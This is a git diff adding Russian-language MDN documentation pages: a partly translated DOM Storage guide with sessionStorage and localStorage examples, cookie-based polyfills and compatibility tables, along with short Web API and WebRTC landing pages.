diff --git a/files/ru/web/guide/api/dom/storage/index.html b/files/ru/web/guide/api/dom/storage/index.html
new file mode 100644
index 0000000000..0fc6aea359
--- /dev/null
+++ b/files/ru/web/guide/api/dom/storage/index.html
@@ -0,0 +1,367 @@
+---
+title: DOM Storage guide
+slug: Web/Guide/API/DOM/Storage
+translation_of: Web/API/Web_Storage_API
+---
+<h2 id="sect1"> </h2>
+
+<p>DOM хранилище (DOM Storage) - это название для набора инструментов, <a href="http://www.whatwg.org/specs/web-apps/current-work/#storage">относящихся к хранилищам</a>, впервые представленных в спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>,  и выделенных теперь в отдельную специкацию <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM хранилище было разработано с целью предоставления альтернативы хранению информации в кукисах. Предполагается, что DOM хранилище предоставляет больше объема, оно более защищено и легче в использовании. Впервые оно было представлено  в браузерах <a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a> и <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p>
+
+<div class="note"><strong>Заметка:</strong> DOM хранилище - это не то же самое, что <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM interfaces to SQLite) или <a href="/en-US/docs/Session_store_API" title="Session_store_API">Session store API</a> (утилита <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> - хранилище для использования в расширениях).</div>
+
+<div class="note">
+<p><strong>Заметка:</strong> Эта статья скоро будет сильно переработана. В<span style="line-height: 1.5;">место того, чтобы хранить всю информацию на одной странице, она будет</span><span style="line-height: 1.5;"> разбита на несколько статей, каждая из которых будет описывать разные </span><span style="line-height: 1.5;">API хранилища. Отдельная статья, помогающая разобраться в разных API, будет также добавлена.</span></p>
+</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Механизм DOM хранилища - средство, благодаря которому можно безопасно хранить и позже извлекать пары "ключ / значение". Целью этого является обеспечение комплексного средства, с помощью которого можно разрабатывать интерактивные приложения(включая приложения с продвинутыми возможностями, такими как возможность работать "автономно"("offline") в течение длительных периодов времени).</p>
+
+<p>Браузеры на основе Mozilla, Internet Explorer 8 +, Safari 4 + и Chrome обеспечивают рабочую реализацию спецификации DOM хранилища. (В случае, если нужна кросс-браузерная поддержка функциональности, включая более старые версии IE, будет полезно отметить, что IE также имеет подобную легаси функциональность под названием "<a href="http://msdn.microsoft.com/en-us/library/ms531424(VS.85).aspx">USERDATA поведение</a>", которая дополненяет DOM хранилище IE в IE8.)</p>
+
+<p>DOM хранилище удобно, потому что нет других хороших способов хранения разумных объемов данных за любой период времени, встроенных в браузер. <a href="http://en.wikipedia.org/wiki/HTTP_cookie">Кукисы </a>ограничены в количестве хранимой информации и не обеспечивают поддержку для организации постоянных данных, а другие методы (например, <a href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">флэш-локальное хранилище</a>) требуют плагина.</p>
+
+<p>Одним из первых известных приложений,  использующих новые функциональные возможности DOM хранилища(в дополнение к USERDATA поведения в Internet Explorer) было <a href="http://aaronboodman.com/halfnote/">halfnote </a>(приложение для заметок), написанное <a href="http://aaronboodman.com/">Аароном Будменом</a>. В своем приложении, Аарон одновременно сохранял заметки на сервере (когда/если Интернет-подключение  был доступно) и локального хранилища данных(в обратном случае). Это дало возможность пользователю смело писать резервные копии заметок даже при нерегулярном подключении к Интернету.</p>
+
+<p>Хотя идея и реализация halfnote были сравнительно простыми, создание halfnote показывает возможность для нового поколения веб-приложений, которые можно использовать как в онлайн-, так и оффлайн- режиме.</p>
+
+<h2 id="Связь">Связь</h2>
+
+<p>Ниже приведены глобальные объекты, которые существуют как свойства каждого объекта <span style="line-height: 1.5;"> </span><code style="line-height: 1.5;"><a href="/en-US/docs/DOM/window" style="line-height: 1.5;" title="DOM/window">window</a></code><span style="line-height: 1.5;">. Это означает, что они могут быть доступны как </span><code style="font-style: normal;">sessionStorage</code> <span style="line-height: 1.5;">или </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">window.sessionStorage</span><span style="line-height: 1.5;">. (Это важно, потому что вы можете использовать фреймы(IFrames) для хранения или доступа, дополнительные данные кроме того, что сразу же включено на странице.)</span></p>
+
+<h3 id="Storage"><code>Storage</code></h3>
+
+<p>Это конструктор<span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">Storage</code><span style="line-height: 1.5;">) </span><span style="line-height: 1.5;">для всех экземпляров </span><span style="line-height: 1.5;">Storage </span><span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;"> и </span><code style="font-style: normal; line-height: 1.5;">globalStorage[location.hostname]</code>).</p>
+
+<p><span style="line-height: 1.5;">С</span><span style="line-height: 1.5;">охранение </span><code style="font-style: normal; line-height: 1.5;">Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) }</code><span style="line-height: 1.5;"> будет доступно через </span><code style="font-style: normal; line-height: 1.5;">localStorage.removeKey</code><span style="line-height: 1.5;"> и </span><code style="font-style: normal; line-height: 1.5;">sessionStorage.removeKey</code><span style="line-height: 1.5;">.</span></p>
+
+<p>Единицы <code>globalStorage</code> являются экземплярами <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">StorageObsolete,</span> а <span style="line-height: 1.5;">не </span><code style="font-style: normal; line-height: 1.5;">Storage</code><span style="line-height: 1.5;">.</span></p>
+
+<p><code>Storage</code> определен в WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a> следующим образом:</p>
+
+<pre class="eval">interface <dfn>Storage</dfn> {
+  readonly attribute unsigned long <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-length" title="dom-Storage-length">length</a>;
+  [IndexGetter] DOMString <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-key" title="dom-Storage-key">key</a>(in unsigned long index);
+  [NameGetter] DOMString <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-getitem" title="dom-Storage-getItem">getItem</a>(in DOMString key);
+  [NameSetter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-setitem" title="dom-Storage-setItem">setItem</a>(in DOMString key, in DOMString data);
+  [NameDeleter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-removeitem" title="dom-Storage-removeItem">removeItem</a>(in DOMString key);
+  void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-clear" title="dom-Storage-clear">clear</a>();
+};
+</pre>
+
+<div class="note"><strong>Заметка: </strong>Несмотря на то, что значения доступны для чтения и записи через стандартные способы Javascript, рекомендуется использование <span style="line-height: 1.5;">getItem и setItem.</span></div>
+
+<div class="note"><strong>Заметка:</strong> Обратите внимание, что любые данные, которые хранятся в любом из хранилищ, описанных на этой странице, преобразуются в строку, используя метод<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">.toString</span><span style="line-height: 1.5;">. перед тем, как сохранить значение. Попытка сохранить объект приведет к сохранению строки </span><code style="font-style: italic;">"[object Object]"</code>  <span style="line-height: 1.5;">вместо объекта или его JSON </span><span style="line-height: 1.5;">представления</span><span style="line-height: 1.5;">. Самым лучшим и распространенным способом сохранения объектов в формате строки является использование п</span><span style="line-height: 1.5;">редоставляемых браузером </span><span style="line-height: 1.5;">методов JSON для парсинга</span><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">и сериализации объектов.</span></div>
+
+<h3 id="sessionStorage"><code>sessionStorage</code></h3>
+
+<p>Это глобальный объект <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;">), который сохраняет значения, которые доступны в течение периода текущей сессии. Сессия страницы длится, пока браузер открыт, и восстанавливает свои значения после перегрузки страницы. Открытие страницы в новой вкладке или окне приведет к созданию новой сессии для этой страницы.</span></p>
+
+<pre class="brush:js">// Сохранить данные в текущем хранилизе сессий
+sessionStorage.setItem("username", "John");
+
+// Получить значения сохраненного значения
+alert( "username = " + sessionStorage.getItem("username"));
+</pre>
+
+<p>Объект <code>sessionStorage</code> наиболее полезен для хранения временных данных, которые должны быть восстановлены, если страница браузер была случайно перегружена.</p>
+
+<p><strong>Примеры:</strong></p>
+
+<p>Автоматическое сохранение содержимого тестового поля, и если страница была случайно перегружена, то данные не будут потеряны.</p>
+
+<pre class="brush:js"> // Получить значение текстового поля, которое мы собираемся отслеживать
+ var field = document.getElementById("field");
+
+ // Проверяем, что значение поля autosave существует
+ // (это будет происходить при случайной перезагрузке страницы)
+ if (sessionStorage.getItem("autosave")) {
+    // Восстановить значение тестового поля
+    field.value = sessionStorage.getItem("autosave");
+ }
+
+ // Прослушивать изменения значения текстового поля
+ field.addEventListener("change", function() {
+    // И сохранить результаты в объект хранилища сессий
+    sessionStorage.setItem("autosave", field.value);
+ });
+</pre>
+
+<p><strong>Больше информации:</strong></p>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/html5/webstorage/#the-sessionstorage-attribute" title="http://dev.w3.org/html5/webstorage/#the-sessionstorage-attribute">sessionStorage specification</a></li>
+</ul>
+
+<h3 id="localStorage" name="localStorage"><code>localStorage</code></h3>
+
+<p><code>localStorage</code> - это то же самое, что и<code> {{ Anch("sessionStorage") }},</code> поддерживает правила единого происхождения(same-origin rules), но хранение данных постоянно. <code>localStorage</code> был представлен в Firefox 3.5.</p>
+
+<div class="note"><strong>Заметка:</strong> Когда браузер переходит в частный режим браузера(<span style="line-height: 1.5;">private browsing mode), то новая, временная база данных создается для хранения данных локального хранилища; эта база данных очищается и удаляется, как только частный режим браузера выключается.</span></div>
+
+<h4 id="Совместимость">Совместимость</h4>
+
+<p>Объекты <code>Storage -</code> относительно недавнее дополнение стандарта. Это означает, что они не обязательно должны быть реализованы во всех браузерах. Проблему можно решить с помощью включения следующего куска кода в начале вашего скрипта, позволяя использовать объект <code>localStorage</code> в реализациях, которые нативно не поддерживают его.</p>
+
+<p>Следующий алгоритм - это точная имитация объекта <code style="font-style: normal; line-height: 1.5;">localStorage,</code> но использует куки.</p>
+
+<pre class="brush:js">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx &lt; aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length &gt; 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions <code>localStorage.setItem()</code> and <code>localStorage.removeItem()</code> to add, change, or remove a key. The use of methods <code>localStorage.yourKey = yourValue;</code> and <code>delete localStorage.yourKey;</code> to set or delete a key <strong>is not a secure way with this code</strong>. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.</div>
+
+<div class="note"><strong>Note:</strong> By changing the string <code style="background: #ccc;">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> to: <code style="background: #ccc;">"; path=/"</code> (and changing the object's name), this will become a <code>sessionStorage</code> polyfill rather than a <code>localStorage</code> polyfill. However, this implementation will share stored values across browser tabs and windows (and will only be cleared when all browser windows have been closed), while a fully-compliant <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> implementation restricts stored values to the current browsing context only.</span></div>
+
+<p>Here is another, less exact, imitation of the <code>localStorage</code> object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer &lt; 8 (<strong>tested and working even in Internet Explorer 6</strong>). It also makes use of cookies.</p>
+
+<pre class="brush:js">if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, and <code>localStorage.removeItem()</code> to get, add, change, or remove a key. The use of method <code>localStorage.yourKey</code> in order to get, set, or delete a key <strong>is not permitted with this code</strong>. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.</div>
+
+<div class="note"><strong>Note:</strong> By changing the string <code style="background: #ccc;">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> to: <code style="background: #ccc;">"; path=/"</code> (and changing the object's name), this will become a <code>sessionStorage</code> polyfill rather than a <code>localStorage</code> polyfill. However, this implementation will share stored values across browser tabs and windows (and will only be cleared when all browser windows have been closed), while a fully-compliant <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> implementation restricts stored values to the current browsing context only.</span></div>
+
+<h4 id="Compatibility_and_relation_with_globalStorage">Compatibility and relation with globalStorage</h4>
+
+<p class="note"><code>localStorage</code> is also the same as <code>globalStorage[location.hostname]</code>, with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and <code>localStorage</code> being an instance of <code>Storage</code> as opposed to <code>globalStorage[location.hostname]</code> being an instance of <code>StorageObsolete</code> which is covered below. For example, <a class="external" href="http://example.com" rel="freelink">http://example.com</a> is not able to access the same <code>localStorage</code> object as <a class="link-https" href="https://example.com" rel="freelink">https://example.com</a> but they can access the same <code>globalStorage</code> item. <code>localStorage</code> is a standard interface while <code>globalStorage</code> is non-standard so you shouldn't rely on these.</p>
+
+<p>Please note that setting a property on <code>globalStorage[location.hostname]</code> does <strong>not</strong> set it on <code>localStorage</code> and extending <code>Storage.prototype</code> does not affect <code>globalStorage</code> items; only extending <code>StorageObsolete.prototype</code> does.</p>
+
+<h3 id="globalStorage"><code>globalStorage</code></h3>
+
+<div>{{ Non-standard_header }}{{ obsolete_header("13.0") }}</div>
+
+<p><code>globalStorage </code>is obsolete since Gecko 1.9.1 (Firefox 3.5) and unsupported since Gecko 13 (Firefox 13). Just use<code> {{ Anch("localStorage") }} </code>instead. This proposed addition to HTML5 has been removed from the HTML5 specification in favor of<code> {{ Anch("localStorage") }}</code>, which is implemented in Firefox 3.5. This is a global object (<code>globalStorage</code>) that maintains multiple private storage areas that can be used to hold data over a long period of time (e.g., over multiple pages and browser sessions).</p>
+
+<div class="warning">Note: <code>globalStorage</code> is not a <code>Storage</code> instance, but a <code>StorageList</code> instance containing <code>StorageObsolete</code> instances.</div>
+
+<pre class="eval deki-transform">// Save data that only scripts on the mozilla.org domain can access
+globalStorage['mozilla.org'].setItem("snippet", "&lt;b&gt;Hello&lt;/b&gt;, how are you?");
+</pre>
+
+<p>Specifically, the <code>globalStorage</code> object provides access to a number of different storage objects into which data can be stored. For example, if we were to build a web page that used <code>globalStorage</code> on this domain (developer.mozilla.org) we'd have the following storage object available to us:</p>
+
+<ul>
+ <li><code>globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }}</code> - All web pages within the developer.mozilla.org sub-domain can both read and write data to this storage object.</li>
+</ul>
+
+<p><strong>Examples:</strong></p>
+
+<p>All of these examples require that you have a script inserted (with each of the following code) in every page that you want to see the result on.</p>
+
+<p>Remember a user's username for the particular sub-domain that is being visited:</p>
+
+<pre class="eval deki-transform"> globalStorage['developer.mozilla.org'].setItem("username", "John");
+</pre>
+
+<p>Keep track of the number of times that a user visits all pages of your domain:</p>
+
+<pre class="eval deki-transform"> // parseInt must be used since all data is stored as a string
+ globalStorage['mozilla.org'].setItem("visits", parseInt(globalStorage['mozilla.org'].getItem("visits") || 0 ) + 1);
+</pre>
+
+<h2 id="Расположение_хранилища_и_очищение_данных">Расположение хранилища и очищение данных</h2>
+
+<p>In Firefox the DOM storage data is stored in the <a class="external" href="http://kb.mozillazine.org/Webappsstore.sqlite" title="http://kb.mozillazine.org/Webappsstore.sqlite">webappsstore.sqlite file</a> in the profile folder (there's also chromeappsstore.sqlite file used to store browser's own data, <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=592990" title="https://bugzilla.mozilla.org/show_bug.cgi?id=592990">notably for the start page - about:home</a>, but potentially for other internal pages with "about:" URLs).</p>
+
+<ul>
+ <li>DOM Storage can be cleared via "Tools -&gt; Clear Recent History -&gt; Cookies" when Time range is "Everything" (via nsICookieManager::removeAll)
+  <ul>
+   <li>But not when another time range is specified: (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=527667" title="https://bugzilla.mozilla.org/show_bug.cgi?id=527667">bug 527667</a>)</li>
+   <li>Does not show up in Tools -&gt; Options -&gt; Privacy -&gt; Remove individual cookies (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=506692" title="https://bugzilla.mozilla.org/show_bug.cgi?id=506692">bug 506692</a>)</li>
+  </ul>
+ </li>
+ <li>DOM Storage is <strong>not</strong> cleared via Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now.</li>
+ <li>Doesn't show up in the "Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data" list, unless the site also uses the offline cache. If the site does appear in that list, its DOM storage data is removed along with the <a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline resources in Firefox">offline cache</a> when clicking the Remove button.</li>
+</ul>
+
+<p>See also <a href="/en-US/docs/HTML/Using_the_application_cache#Storage_location_and_clearing_the_offline_cache" title="Offline resources in Firefox#Storage location and clearing the offline cache">clearing offline resources cache</a>.</p>
+
+<h2 id="Больше_информации">Больше информации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/webstorage/" title="http://www.w3.org/TR/webstorage/">Web Storage</a> (W3C Web Apps Working Group)</li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dom.storage.enabled">Enable/Disable DOM Storage in Firefox or SeaMonkey</a></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<ul>
+ <li><a class="external" href="http://www.diveintojavascript.com/tutorials/web-storage-tutorial-creating-an-address-book-application" title="JavaScript Web Storage Tutorial: Creating an Address Book Application">JavaScript Web Storage Tutorial: Creating an Address Book Application</a> - Hands-on tutorial describing how to use the Web Storage API by creating a simple address book application.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - Showcases an offline app demo and explains how it works.</li>
+ <li><a class="external" href="http://noteboard.eligrey.com/" title="http://noteboard.eligrey.com/">Noteboard</a> - Note writing application that stores all data locally.</li>
+ <li><a class="external" href="http://github.com/eligrey/jData-host" title="http://github.com/eligrey/jData-host">jData</a> - A shared localStorage object interface that can be accessed by any website on the internet and works on Firefox 3+, Webkit 3.1.2+ nightlies, and IE8. Think of it as pseudo-globalStorage[""] but write access needs user confirmation.</li>
+ <li><a class="external" href="http://codebase.es/test/webstorage.html" title="http://codebase.es/test/webstorage.html">HTML5 localStorage example</a> - Very simple and easy to understand example of localStorage. Saves and retrieves texts and shows a list of saved items. Tested in Firefox 3 or higher.</li>
+ <li><a class="external" href="http://upload.jonathanwilsson.com/html5/sessionstorage.php" title="http://upload.jonathanwilsson.com/html5/sessionstorage.php">HTML5 Session Storage</a> - A very simple example of session storage. Also includes a example on local storage. Tested in Firefox 3.6 or higher.</li>
+ <li><a class="external" href="http://channy.creation.net/work/firefox/domstorage/"><strike>Basic DOMStorage Examples</strike></a><strike> - Broken in Firefox 3 and up due to use of globalStorage on one domain level up from the current domain which is not allowed in Firefox 3.</strike></li>
+ <li><a class="external" href="http://aaronboodman.com/halfnote/"><strike>halfnote</strike></a><strike> - (displaying broken in Firefox 3) Note writing application that uses DOM Storage.</strike></li>
+</ul>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>globalStorage</td>
+   <td>{{ CompatNo }}</td>
+   <td>2-13</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.</p>
+</div>
+
+<h2 id="Полезные_ссылки">Полезные ссылки</h2>
+
+<ul>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookies</a> (<code><a href="/en-US/docs/DOM/document.cookie" title="DOM/document.cookie">document.cookie</a></code>)</li>
+ <li><a class="external" href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">Flash Local Storage</a></li>
+ <li><a class="external" href="http://msdn2.microsoft.com/en-us/library/ms531424.aspx">Internet Explorer userData behavior</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMStorageEventObsolete" title="XPCOM Interface Reference/nsIDOMStorageEventObsolete">nsIDOMStorageEventObsolete</a></li>
+ <li><a href="/en-US/docs/DOM/event/StorageEvent" title="DOM/Event/StorageEvent">StorageEvent</a></li>
+ <li><a href="/en-US/docs/DOM/Storage/Implementation" title="/en-US/docs/DOM/Storage/Implementation">Implementation Details</a></li>
+</ul>
+
+<div>{{ HTML5ArticleTOC }}</div>
diff --git a/files/ru/web/guide/api/index.html b/files/ru/web/guide/api/index.html
new file mode 100644
index 0000000000..2671deda74
--- /dev/null
+++ b/files/ru/web/guide/api/index.html
@@ -0,0 +1,26 @@
+---
+title: Уроки по Web API
+slug: Web/Guide/API
+tags:
+  - API
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide/API
+---
+<p>Здесь вы найдёте ссылки на каждое руководство и объяснение каждого API, составляющего архитектуру веб-разработки.</p>
+
+<h2 id="Web_APIs_from_A_to_Z">Web APIs from A to Z</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li>
+</ul>
diff --git a/files/ru/web/guide/api/webrtc/index.html b/files/ru/web/guide/api/webrtc/index.html
new file mode 100644
index 0000000000..dd0175c70b
--- /dev/null
+++ b/files/ru/web/guide/api/webrtc/index.html
@@ -0,0 +1,34 @@
+---
+title: WebRTC
+slug: Web/Guide/API/WebRTC
+translation_of: Web/API/WebRTC_API
+---
+<p><strong>WebRTC</strong> (где RTC расшифровывается как Real-Time Communications) - это технология, которая позволяет передавать данные и потоковое аудио/видео между браузерами. Как набор стандартов в целом, WebRTC предоставляет любым поддерживающим этот стандарт, браузерам обмениваться данными и устраивать сеансы телеконференций в режиме точка-точка, без необходимости устанавливать какие-либо плагины и стороннее програмное обеспечение.</p>
+
+<p>Компоненты WebRTC доступны через API JavaScript: Network Stream API, который представляет собой поток аудио и видео данных, PeerConnection API, который позволяет двум и более пользователям общаться браузер-браузер напрямую, DataChannel API, который позволяет обмениваться данными других типов, например в играх в режиме реального времени, текстовые чаты, обмен файлами и так далее.</p>
+
+<div class="note">
+<p><span style="color: #000000;"><strong>На заметку:</strong> Эта документация находится в процессе переезда <a href="/ru/docs/Web/API/WebRTC_API">в свой новый дом</a>.</span></p>
+</div>
+
+<h2 id="Руководства">Руководства</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebRTC/Peer-to-peer_communications_with_WebRTC" title="/en-US/docs/WebRTC/Peer-to-peer_communications_with_WebRTC">Обмен данными в режиме точка-точка с WebRTC</a></dt>
+ <dd>О том, как наладить обмен данными в режиме точка-точка используя API WebRTC.</dd>
+ <dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture">Введение в архитектуру WebRTC</a></dt>
+ <dd><strong>(AKA "WebRTC and the Ocean of Acronyms")</strong> WebRTC состоит из множества частей и это может быть причиной сложностей для новичков. Эта статья рассказывает обо всех частях и объясняет то как они между собой связаны.</dd>
+ <dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_basics">Основы WebRTC </a></dt>
+ <dd>Теперь, когда вы уже знаете архитектуру WebRTC, вы можете перейти к этой статье, которая проведет вас через путь создания кросс-браузерного RTC-приложения</dd>
+</dl>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">MediaDevices.getUserMedia</a></dt>
+ <dd>API захвата медиа (видео/аудио)</dd>
+ <dt><a href="/en-US/docs/Web/API/RTCPeerConnection"><span style="color: #0095dd;">RTCPeerConnection</span></a></dt>
+ <dd>Интерфейс обработки потоковых данных между двуми пирами.</dd>
+ <dt><a href="/en-US/docs/Web/API/RTCDataChannel">RTCDataChannel</a></dt>
+ <dd>Интерфейс передачи произвольных данных через соединение точка-точка.</dd>
+</dl>
diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
new file mode 100644
index 0000000000..fb9f4a9e19
